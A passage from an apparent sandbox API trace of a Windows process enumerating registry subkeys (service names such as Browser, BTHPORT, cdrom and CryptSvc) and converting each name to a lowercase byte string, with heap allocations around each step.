(HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0223.251] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.251] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.251] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.251] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.251] RegEnumKeyW (in: hKey=0x148, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0223.251] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.251] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0223.251] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.251] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.251] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.251] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.251] RegEnumKeyW (in: hKey=0x148, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0223.251] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.251] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0223.251] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.251] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.252] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.252] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.252] RegEnumKeyW (in: hKey=0x148, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0223.252] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.252] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0223.252] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.252] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.252] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.252] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.252] RegEnumKeyW (in: hKey=0x148, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0223.252] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.252] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0223.252] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.252] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.252] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.252] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.252] RegEnumKeyW (in: hKey=0x148, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0223.252] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.252] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0223.252] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.252] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.252] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.252] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.252] RegEnumKeyW (in: hKey=0x148, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0223.252] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.253] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0223.253] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.253] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.253] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.253] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.253] RegEnumKeyW (in: hKey=0x148, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0223.253] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.253] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0223.253] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.253] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.253] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.253] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.253] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0223.253] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.253] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0223.253] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.253] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.253] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.253] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.253] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0223.253] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0223.253] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0223.253] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.253] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.253] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.254] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.254] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0223.254] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.254] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f16e8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0223.254] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.254] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.254] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.254] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.254] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0223.254] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0223.254] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1a90, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0223.254] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0223.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="circlass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="circlass", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="circlass", lpUsedDefaultChar=0x0) returned 8 [0223.254] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0223.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0223.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clfs", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clfs", lpUsedDefaultChar=0x0) returned 4 [0223.254] RegEnumKeyW (in: hKey=0x148, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0223.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0223.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x21f16e8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_32", lpUsedDefaultChar=0x0) returned 30 [0223.255] RegEnumKeyW (in: hKey=0x148, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0223.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0223.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x21f1a90, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_64", lpUsedDefaultChar=0x0) returned 30 [0223.255] RegEnumKeyW (in: hKey=0x148, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0223.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0223.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x21f16e8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_32", lpUsedDefaultChar=0x0) returned 30 [0223.255] RegEnumKeyW (in: hKey=0x148, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0223.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0223.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x21f1a90, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_64", lpUsedDefaultChar=0x0) returned 30 [0223.255] RegEnumKeyW (in: hKey=0x148, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0223.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmbatt", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmbatt", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmbatt", lpUsedDefaultChar=0x0) returned 6 [0223.255] RegEnumKeyW (in: hKey=0x148, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0223.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmdide", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmdide", lpUsedDefaultChar=0x0) returned 6 [0223.255] RegEnumKeyW (in: hKey=0x148, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0223.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0223.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cng", cchWideChar=3, lpMultiByteStr=0x21f16e8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cng", lpUsedDefaultChar=0x0) returned 3 [0223.256] RegEnumKeyW (in: hKey=0x148, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0223.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compbatt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compbatt", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="compbatt", lpUsedDefaultChar=0x0) returned 8 [0223.256] RegEnumKeyW (in: hKey=0x148, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0223.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compositebus", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0223.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compositebus", cchWideChar=12, lpMultiByteStr=0x21f16e8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="compositebus", lpUsedDefaultChar=0x0) returned 12 [0223.256] RegEnumKeyW (in: hKey=0x148, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0223.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0223.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x21f1a90, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="comsysapp", lpUsedDefaultChar=0x0) returned 9 [0223.256] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0223.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crcdisk", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crcdisk", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crcdisk", lpUsedDefaultChar=0x0) returned 7 [0223.256] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0223.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crypt32", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crypt32", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crypt32", lpUsedDefaultChar=0x0) returned 7 [0223.257] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0223.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptsvc", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptsvc", lpUsedDefaultChar=0x0) returned 8 [0223.257] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0223.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0223.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csc", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="csc", lpUsedDefaultChar=0x0) returned 3 [0223.257] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0223.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0223.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x21f16e8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cscservice", lpUsedDefaultChar=0x0) returned 10 [0223.257] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0223.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 